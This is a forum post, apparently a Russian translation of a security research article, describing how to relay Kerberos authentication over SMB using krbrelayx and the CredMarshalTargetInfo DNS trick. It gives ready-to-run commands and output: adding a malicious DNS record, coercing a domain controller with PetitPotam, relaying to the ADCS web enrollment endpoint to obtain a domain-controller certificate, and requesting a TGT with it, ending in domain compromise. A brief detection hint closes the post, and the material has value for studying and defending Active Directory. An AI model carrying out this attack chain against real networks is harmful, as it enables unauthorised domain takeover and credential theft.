Ретрансляция Kerberos через SMB с помощью Krbrelayx

D2

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Оригинал: https://www.synacktiv.com/publications/relaying-kerberos-over-smb-using-krbrelayx
Перевёл: Эрмано
Специально для XSS.IS

Kerberos relaying 101​

Теоретически ретрансляция Kerberos проста. Задача состоит в том, чтобы передать сообщение AP_REQ, инициированное клиентом одного сервиса, другому сервису. Однако есть одно важное условие: целевой сервис и клиент не должны применять шифрование или подпись, поскольку мы не обладаем секретом (сеансовым ключом), необходимым для выполнения этих операций, аналогично атаке ретрансляции NTLM.

Есть и дополнительная проблема: сообщение AP_REQ не может быть передано другому сервису, работающему под другой идентификацией, чем той, который изначально запросил клиент. Поэтому, чтобы атака была успешной, нам нужно заставить клиента сгенерировать AP_REQ для целевого сервиса и отправить его нам. Вот наглядное представление того, чего мы хотим добиться:
1732176023477.png



В 2021 году Джеймс Форшоу опубликовал длинный пост в блоге, объясняющий, как этого можно добиться с помощью различных протоколов. Затем в 2022 году Дирк-джан Моллема опубликовал еще одну статью, в которой подробно описал, как это можно сделать с помощью DNS. Мы настоятельно рекомендуем вам прочитать обе статьи, если вы хотите узнать больше об этой теме.

Дирк-джан продемонстрировал, что с помощью своих инструментов mitm6/Krbrelayx и сообщений SOA DNS можно отравить клиента и заставить его отправить сообщение AP_REQ для произвольной службы, которое затем можно ретранслировать. Интересным сервисом, отвечающим всем требованиям, является конечная точка ADCS HTTP, которая по умолчанию уязвима для ретрансляционных атак, поскольку не требует принудительной подписи с помощью HTTP.
Хотя эта атака эффективна, она все же требует возможности отравить клиента сообщениями DHCPv6, чтобы создать позицию "человек посередине", рекламируя себя в качестве DNS-сервера. Следовательно, отравить произвольных клиентов невозможно.
Недавно мы наткнулись на этот твит от @decoder_it:
1732176260632.png



(Перевод: Неужели ретрансляция Kerberos настолько ограничена? Я бы сказал нет, благодаря трюку @tiraniddo CredMarshalTargetInfo. В данном случае я ретранслирую SMB на HTTP(ADCS) с модифицированной версией @cube0x0 krbrelay, используя DFSCoerce и PetitPotam — классическая атака ESC8 с Kerberos, без использования DCOM;) )

Он также выпустил инструмент под названием KrbRelay-SMBServer, который можно использовать для ретрансляции Kerberos через SMB с помощью упомянутых трюков CredMarshalTargetInfo Джеймса Форшоу. Нам было интересно узнать больше об этом и определить, возможно ли использовать эти трюки в Krbrelayx. Оказалось, что это действительно возможно.

CredMarshalTargetInfo​

В своем блоге Джеймс Форшоу показал, что когда SMB-клиент строит SPN из класса службы и имени, вызывается метод SecMakeSPNEx2. Для хостам с именем fileserver и классом службы cifs возвращаемое SPN будет выглядеть следующим образом:
cifs/fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA

Функция SecMakeSPNEx2 выполняет вызов API-функции CredMarshalTargetInfo. Этот API принимает список целевой информации в структуре CREDENTIAL_TARGET_INFORMATION, маршализирует его с помощью кодировки Base64 и добавляет в конец реального SPN.

Он также показал, что если мы зарегистрируем DNS-запись fileserver1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA, клиент запросит билет Kerberos для cifs/fileserver, но подключится к fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA.

Под капотом клиент вызывает CredUnmarshalTargetInfo, чтобы разобрать маршализированную информацию о цели. Однако клиент не рассматривает результаты разбора. Вместо этого он просто определяет длину маршализированных данных и удаляет эту часть из конца строки целевого SPN. Таким образом, когда пакет Kerberos получает целевое имя, оно уже восстановлено до исходного SPN.

При первом прочтении статьи в блоге это было непонятно, поэтому мы решили использовать Frida и установить несколько крючков, чтобы лучше понять, что происходит.

В нашей лаборатории есть контроллер домена (DC03) и сервер ADCS (PKI4). Мы установили хуки на CredUnmarshalTargetInfo и CredMarshalTargetInfo и при принуждении ADCS-сервера к аутентификации на DC03 получили следующее:
Код: Скопировать в буфер обмена
Код: 
PS > frida lsass.exe -l lsass.js
[+] found CredMarshalTargetInfo: 0x7ff93274a4b0
[+] found CredUnmarshalTargetInfo: 0x7ff932749d30
[+] CredUnmarshalTargetInfo called
[+] buffer content (UTF-16): cifs/dc03
[+] CredUnmarshalTargetInfo returned with NTSTATUS: 0xc000000d
[+] Unmarshaled CREDENTIAL_TARGET_INFORMATIONW: NULL
[+] Actual size returned: 1

Сначала происходит вызов CredUnmarshalTargetInfo. Предоставленный маршалируемый буфер представляет собой только имя службы и класс cifs/dc03, поэтому демаршалировать нечего, а возвращаемое значение CREDENTIAL_TARGET_INFORMATIONW равно нулю.
Затем вызывается CredMarshalTargetInfo:
Код: Скопировать в буфер обмена
Код: 
[+] CredMarshalTargetInfo called
[+] InTargetInfo: {
  "targetName": "dc03",
  "netbiosServerName": null,
  "dnsServerName": null,
  "netbiosDomainName": null,
  "dnsDomainName": null,
  "dnsTreeName": null,
  "packageName": "Kerberos",
  "flags": 1
}
[+] CredMarshalTargetInfo returned with NTSTATUS: 0x0
[+] Marshaled Buffer Content: 1UWhRGAAAAAAAAAAIAAAAAAAAAAAAAAAQAAAAAdc03KerberoswBAAAA

Это обычное поведение. Однако при принуждении машины к DNS-записи dc031UWhRGAAAAAAAAAAIAAAAAAAAAAAAtestKerberoswBAAAA мы получаем вызов CredUnmarshalTargetInfo, но на этот раз с входным буфером, содержащим корректную маршалированную структуру:
Код: Скопировать в буфер обмена
Код: 
[+] CredUnmarshalTargetInfo called
[+] buffer content (UTF-16): cifs/dc031UWhRGAAAAAAAAAAIAAAAAAAAAAAAAAAQAAAAAtestKerberoswBAAAA
[+] CredUnmarshalTargetInfo returned with NTSTATUS: 0x0
[+] Unmarshaled CREDENTIAL_TARGET_INFORMATIONW: {
  "targetName": "test",
  "netbiosServerName": null,
  "dnsServerName": null,
  "netbiosDomainName": null,
  "dnsDomainName": null,
  "dnsTreeName": null,
  "packageName": "Kerberos",
  "flags": 1
}

В результате функция возвращает корректную структуру CREDENTIAL_TARGET_INFORMATIONW, и вызов CredMarshalTargetInfo осуществляется с использованием той же структуры:
Код: Скопировать в буфер обмена
Код: 
[+] CredMarshalTargetInfo called
[+] InTargetInfo: {
  "targetName": "test",
  "netbiosServerName": null,
  "dnsServerName": null,
  "netbiosDomainName": null,
  "dnsDomainName": null,
  "dnsTreeName": null,
  "packageName": "Kerberos",
  "flags": 1
}
[+] CredMarshalTargetInfo returned with NTSTATUS: 0x0
[+] Marshaled Buffer Content: 1UWhRGAAAAAAAAAAIAAAAAAAAAAAAAAAQAAAAAtestKerberoswBAAAA

Это означает, что если SPN уже содержит маршализированную структуру CREDENTIAL_TARGET_INFORMATIONW, она будет размаршализирована и использована в последующих вызовах. В ином случае эта структура будет создана.

Как описано в оригинальной статье:
Ограничение на размер одного имени в DNS составляет 63 символа. Минимальный допустимый маршализированный буфер имеет длину 44 символа, оставляя только 19 символов для части SPN. Это, по крайней мере, больше, чем минимальное ограничение NetBIOS-имени в 15 символов, поэтому, пока зарегистрировано SPN для такого короткого имени, этого должно быть достаточно. Однако если короткое имя SPN не зарегистрировано, то использовать его будет сложнее.
Нажмите, чтобы раскрыть...
Нажмите для раскрытия...

Чтобы занять какое-то место в DNS-записи, мы можем построить самую короткую маршализированную строку. Этого можно добиться с помощью frida, выделив пустую CREDENTIAL_TARGET_INFORMATIONW:
Код: Скопировать в буфер обмена
Код: 
PS > frida lsass.exe -l cred.js
[+] Calling CredMarshalTargetInfo
[+] NTSTATUS Result: 0
[+] Buffer:  1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA

Krbrelayx​

Увидев твит от Decoder-it, мы задались вопросом, можно ли выполнить эту атаку с помощью krbrelayx. Хотя этот инструмент изначально не был предназначен для ретрансляции аутентификации Kerberos, в 2022 году Дирк-джан добавил эту функциональность. Реализация была выполнена через DNS, но уже существует SMB-сервер, который поддерживает Kerberos для всех атак с неограниченным делегированием.

Во-первых, мы хотим зарегистрировать вредоносную запись, как объяснялось ранее, и сделать так, чтобы она указывала на нашу атакующую машину (172.16.1.146):
Код: Скопировать в буфер обмена
Код: 
$ dnstool.py -u "INDUS.LOCAL\\user" -p "pass" -r "pki41UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "172.16.1.146" --action add "172.16.1.3" --tcp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Теперь с помощью любой техники принуждения мы можем заставить контроллер домена аутентифицироваться у нас:
$ petitpotam.py -u 'user' -p 'pass' -d INDUS.LOCAL 'pki41UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' dc03.indus.local

Посмотрев на Wireshark, мы можем наблюдать следующее:
1732177594842.png



Неавторизованный SMB-сервер получает сообщение AP_REQ, что говорит о том, что необходимая функциональность уже интегрирована в инструмент. Дирк-джан проделал впечатляющую работу над krbrelayx, позволив нам легко включить несколько строк из DNS-сервера Kerberos в SMB-сервер. Когда часть извлечения AP_REQ уже реализована, аутентификационные данные, полученные из AP_REQ, передаются в различные атаки, поддерживаемые ntlmrelayx. Для HTTP этот процесс прост: AP_REQ кодируется в Base64 и включается в заголовок Authorization: Kerberos base64_AP_REQ.

Вот результат:
Код: Скопировать в буфер обмена
Код: 
$ krbrelayx.py -t 'http://pki4.indus.local/certsrv/certfnsh.asp' --adcs --template DomainController -v 'DC03$'
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Running in attack mode to single host
[*] Running in kerberos relay mode because no credentials were specified.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up DNS Server

[*] Servers started, waiting for connections
[*] SMBD: Received connection from 172.16.1.3
[*] HTTP server returned status code 200, treating as a successful login
[*] SMBD: Received connection from 172.16.1.3
[*] HTTP server returned status code 200, treating as a successful login
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 32
[*] Writing PKCS#12 certificate to ./DC03$.pfx
[*] Certificate successfully written to file
[*] Skipping user DC03$ since attack was already performed

Полученный PFX можно использовать для запроса TGT на DC:
Код: Скопировать в буфер обмена
Код: 
$ gettgtpkinit.py -cert-pfx 'DC03$.pfx' 'INDUS.LOCAL/DC03$' DC03.ccache
INFO:Loading certificate and key from file                             
INFO:Requesting TGT                       
INFO:AS-REP encryption key (you might need this later):
INFO:5aed9cb3f2f7af161efe2d43119e87a2dade54bed6bd4602d82051ecbac549a1
INFO:Saved TGT to file

Заключение​

Хотя передача NTLM часто возможна в домене Active Directory, некоторые серверы могут отказываться от NTLM-аутентификации. Вскоре после изучения этого вопроса один из наших экспертов столкнулся со сценарием, в котором HTTP-сервер IIS из ADCS разрешал только Kerberos-аутентификацию. Таким образом, эта техника была использована для компрометации домена.

Что касается средств защиты, то регулярный мониторинг всех записей DNS, содержащих маршализированную строку, может быть весьма эффективным, поскольку она содержит статическое магическое значение.

Наконец, вы можете найти запрос на pull request на krbrelayx.

P.S.
Поискав ещё информации на эту тему, я нашёл эту статью на хабре, если кому-то интересно, можете почитать, мне она понравилась.
 
Войдите или зарегистрируйтесь для ответа.
Сверху Снизу